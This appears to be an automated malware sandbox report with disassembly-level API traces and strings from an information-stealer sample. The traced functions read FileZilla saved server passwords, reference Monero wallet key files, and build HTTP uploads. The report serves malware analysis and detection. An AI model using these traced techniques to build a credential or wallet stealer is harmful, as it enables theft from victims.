Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID:
String ID: G>?w
API String ID: 0-2681059745
Opcode ID: a550cf64bd68b1e41eb60700b055cea33aa36c3e3cc0c3ed5a8a5603318e7199
Instruction ID: e72b21a780c8002209f11f7a58c5ea1ef52b8ae706911c81c72f164788e72801
Opcode Fuzzy Hash: a550cf64bd68b1e41eb60700b055cea33aa36c3e3cc0c3ed5a8a5603318e7199
Instruction Fuzzy Hash: 6B61E5F3D086109FE3046E29DC8577AFBD6EB94320F17063DDAD897784E93558448786

Function 00B05DC6 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

6ey~, xrefs: 00B05F4D

Memory Dump Source

Source File: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6ey~
API String ID: 0-4082691886
Opcode ID: 1d5a3ed9320b4f14cd4cc88a7a267063729e64255a817b1fe4eca3af5876770e
Instruction ID: c5b42157c50e7ab893f8dfaf2d447e20dde5274bf1741bb0a547e8a143b7df59
Opcode Fuzzy Hash: 1d5a3ed9320b4f14cd4cc88a7a267063729e64255a817b1fe4eca3af5876770e
Instruction Fuzzy Hash: 2551D3B250CA01DBD3146E18DCC563FBFE9EB64700F26487D96C287B84E6355A509F83

Function 00A0E507 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

Uk=w, xrefs: 00A0E59B

Memory Dump Source

Source File: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Uk=w
API String ID: 0-1033676908
Opcode ID: 5415831277d145fc74631c866e4a11d6c09070bc90e56dab596c070db33546ed
Instruction ID: dace6f2390d2a5368b92f8795b676b1af868452ef9b18c07b7a2cb81204f69be
Opcode Fuzzy Hash: 5415831277d145fc74631c866e4a11d6c09070bc90e56dab596c070db33546ed
Instruction Fuzzy Hash: 60413DA3F043185FE3446D7DED44777B78A97D0260F1B463ED948D7744E97A5C064282

Function 0091B319 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a95e3c5834afbdec105bf464d15ccb4601b658514b58447f22752c1cb5c00e4
Instruction ID: e7ab9b11fde895958342fd77aecab11d7e0de23a44fc133172d968bb07fac593
Opcode Fuzzy Hash: 4a95e3c5834afbdec105bf464d15ccb4601b658514b58447f22752c1cb5c00e4
Instruction Fuzzy Hash: 6671FAF3A186105FE3089A2DDC9577AB7D5EFD8320F1B493DE6C9C7380E93558058692

Function 0095D66F Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79bf4d642726bc3a562d9472627f8836d016938b7a37a8f2d9ff225c09bea299
Instruction ID: 35fe1a2abdd0b6b415d77d221c82386b22fc3c0547e0c6eef4ec72fb1449d46a
Opcode Fuzzy Hash: 79bf4d642726bc3a562d9472627f8836d016938b7a37a8f2d9ff225c09bea299
Instruction Fuzzy Hash: 1D4119F3A082045BF314AD2ADC4573BBBDBDBD4320F2A853DDA8497784F93558064296

Function 009AD86F Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97bcea0aab9705f1c70e7294a83d9ffa9f24a0a55d9ab2f5ccdb4d066d1f6f77
Instruction ID: ccefa94afc5fc48fc899030a918093879c349639265a655b0abef49da0f76057
Opcode Fuzzy Hash: 97bcea0aab9705f1c70e7294a83d9ffa9f24a0a55d9ab2f5ccdb4d066d1f6f77
Instruction Fuzzy Hash: AE418BB220C7009FE3446E29EC8577AF7EAEFD4720F1A883EE2C4C7640DA7554858B56

Function 006A9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 006A0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006A8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006A8E0B

Part of subcall function 006AA920: lstrcpy.KERNEL32(00000000,?), ref: 006AA972
Part of subcall function 006AA920: lstrcat.KERNEL32(00000000), ref: 006AA982

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006AA7E6

Part of subcall function 006999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006999EC
Part of subcall function 006999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00699A11
Part of subcall function 006999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00699A31
Part of subcall function 006999C0: ReadFile.KERNEL32(000000FF,?,00000000,0069148F,00000000), ref: 00699A5A
Part of subcall function 006999C0: LocalFree.KERNEL32(0069148F), ref: 00699A90
Part of subcall function 006999C0: CloseHandle.KERNEL32(000000FF), ref: 00699A9A

Part of subcall function 006A8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006A8E52

GetProcessHeap.KERNEL32(00000000,000F423F,006B0DBA,006B0DB7,006B0DB6,006B0DB3), ref: 006A0362
RtlAllocateHeap.NTDLL(00000000), ref: 006A0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 006A0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006B0DB2), ref: 006A0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 006A03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006B0DB2), ref: 006A03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 006A0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006B0DB2), ref: 006A0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 006A0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006B0DB2), ref: 006A0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006B0DB2), ref: 006A0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006B0DB2), ref: 006A051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006B0DB2), ref: 006A0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006B0DB2), ref: 006A054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 006A0562
lstrcat.KERNEL32(?,profile: null), ref: 006A0571
lstrcat.KERNEL32(?,url: ), ref: 006A0580
lstrcat.KERNEL32(?,00000000), ref: 006A0593
lstrcat.KERNEL32(?,006B1678), ref: 006A05A2
lstrcat.KERNEL32(?,00000000), ref: 006A05B5
lstrcat.KERNEL32(?,006B167C), ref: 006A05C4
lstrcat.KERNEL32(?,login: ), ref: 006A05D3
lstrcat.KERNEL32(?,00000000), ref: 006A05E6
lstrcat.KERNEL32(?,006B1688), ref: 006A05F5
lstrcat.KERNEL32(?,password: ), ref: 006A0604
lstrcat.KERNEL32(?,00000000), ref: 006A0617
lstrcat.KERNEL32(?,006B1698), ref: 006A0626
lstrcat.KERNEL32(?,006B169C), ref: 006A0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006B0DB2), ref: 006A068E

Strings

browser: FileZilla, xrefs: 006A0559
<Port>, xrefs: 006A03C6
<User>, xrefs: 006A0410
profile: null, xrefs: 006A0568
<Pass encoding="base64">, xrefs: 006A045A
<Host>, xrefs: 006A037C
login: , xrefs: 006A05CA
url: , xrefs: 006A0577
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 006A02A4
password: , xrefs: 006A05FB

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 2910d9433888e72e7d36e28cbebe697186cf5d49bcaddf3cc4e69864fbcdccb1
Instruction ID: 7bda882ed5ab6ef92d4b28351467c3d935340bc35968620065f59815a243f3e1
Opcode Fuzzy Hash: 2910d9433888e72e7d36e28cbebe697186cf5d49bcaddf3cc4e69864fbcdccb1
Instruction Fuzzy Hash: E5D11BB1900108ABDB84FBE4DD96EEE777ABF19300F50451AF502A6091EF34AE46CF65

Function 00695960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006AA7E6

Part of subcall function 006947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00694839
Part of subcall function 006947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00694849

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006959F8
StrCmpCA.SHLWAPI(?,0126FA00), ref: 00695A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00695B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0126F9B0,00000000,?,0126B708,00000000,?,006B1A1C), ref: 00695E71
lstrlen.KERNEL32(00000000), ref: 00695E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00695E93
RtlAllocateHeap.NTDLL(00000000), ref: 00695E9A
lstrlen.KERNEL32(00000000), ref: 00695EAF
lstrlen.KERNEL32(00000000), ref: 00695ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00695EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00695F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00695F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00695F4C
InternetCloseHandle.WININET(00000000), ref: 00695FB0
InternetCloseHandle.WININET(00000000), ref: 00695FBD
HttpOpenRequestA.WININET(00000000,0126FA50,?,0126F1C0,00000000,00000000,00400100,00000000), ref: 00695BF8

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

Part of subcall function 006AA920: lstrcpy.KERNEL32(00000000,?), ref: 006AA972
Part of subcall function 006AA920: lstrcat.KERNEL32(00000000), ref: 006AA982

InternetCloseHandle.WININET(00000000), ref: 00695FC7

Strings

------, xrefs: 00695A96
", xrefs: 00695CD5
", xrefs: 00695E16
------, xrefs: 00695D4C
------, xrefs: 00695C0B

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: ada27705decc24a451a04ada51347b0b6b8735a5a619eb87b80982028eafd4cd
Instruction ID: 8ed1997b99afd71d2eabce489edbdba223019e72a776ff5b2f0a9cc5549a5295
Opcode Fuzzy Hash: ada27705decc24a451a04ada51347b0b6b8735a5a619eb87b80982028eafd4cd
Instruction Fuzzy Hash: C7121D71821118AADB95FBE0DC95FEEB37ABF15700F50419EB10662091EF342E4ACF69

Function 0069CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

Part of subcall function 006A8B60: GetSystemTime.KERNEL32(006B0E1A,0126B828,006B05AE,?,?,006913F9,?,0000001A,006B0E1A,00000000,?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006A8B86

Part of subcall function 006AA920: lstrcpy.KERNEL32(00000000,?), ref: 006AA972
Part of subcall function 006AA920: lstrcat.KERNEL32(00000000), ref: 006AA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0069CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0069D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0069D0CE
lstrcat.KERNEL32(?,00000000), ref: 0069D208
lstrcat.KERNEL32(?,006B1478), ref: 0069D217
lstrcat.KERNEL32(?,00000000), ref: 0069D22A
lstrcat.KERNEL32(?,006B147C), ref: 0069D239
lstrcat.KERNEL32(?,00000000), ref: 0069D24C
lstrcat.KERNEL32(?,006B1480), ref: 0069D25B
lstrcat.KERNEL32(?,00000000), ref: 0069D26E
lstrcat.KERNEL32(?,006B1484), ref: 0069D27D
lstrcat.KERNEL32(?,00000000), ref: 0069D290
lstrcat.KERNEL32(?,006B1488), ref: 0069D29F
lstrcat.KERNEL32(?,00000000), ref: 0069D2B2
lstrcat.KERNEL32(?,006B148C), ref: 0069D2C1
lstrcat.KERNEL32(?,00000000), ref: 0069D2D4
lstrcat.KERNEL32(?,006B1490), ref: 0069D2E3

Part of subcall function 006AA820: lstrlen.KERNEL32(00694F05,?,?,00694F05,006B0DDE), ref: 006AA82B
Part of subcall function 006AA820: lstrcpy.KERNEL32(006B0DDE,00000000), ref: 006AA885

lstrlen.KERNEL32(?), ref: 0069D32A
lstrlen.KERNEL32(?), ref: 0069D339

Part of subcall function 006AAA70: StrCmpCA.SHLWAPI(01268E90,0069A7A7,?,0069A7A7,01268E90), ref: 006AAA8F

DeleteFileA.KERNEL32(00000000), ref: 0069D3B4

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
